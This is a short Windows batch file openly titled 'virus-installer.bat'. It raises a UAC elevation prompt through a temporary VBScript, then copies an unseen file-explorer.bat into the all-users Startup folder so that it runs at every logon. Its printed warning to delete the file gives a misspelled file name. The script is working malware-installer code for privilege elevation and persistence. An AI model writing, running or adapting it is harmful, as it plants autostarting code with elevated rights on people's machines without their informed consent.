virus-installer.bat

@echo off
REM
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

REM
if '%errorlevel%' NEQ '0' (
    echo Requesting administrative privileges...
    goto UACPrompt
) else ( goto gotAdmin )

:UACPrompt
    echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
    set params = %*:"="
    echo UAC.ShellExecute "cmd.exe", "/c %~s0 %params%", "", "runas", 1 >> "%temp%\getadmin.vbs"

    "%temp%\getadmin.vbs"
    del "%temp%\getadmin.vbs"
    exit /B

:gotAdmin
    pushd "%CD%"
    CD /D "%~dp0"

echo if you've accidentally ran this script, then please immdietly go to C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup and delete file-exploere.bat before shutting down!
copy file-explorer.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"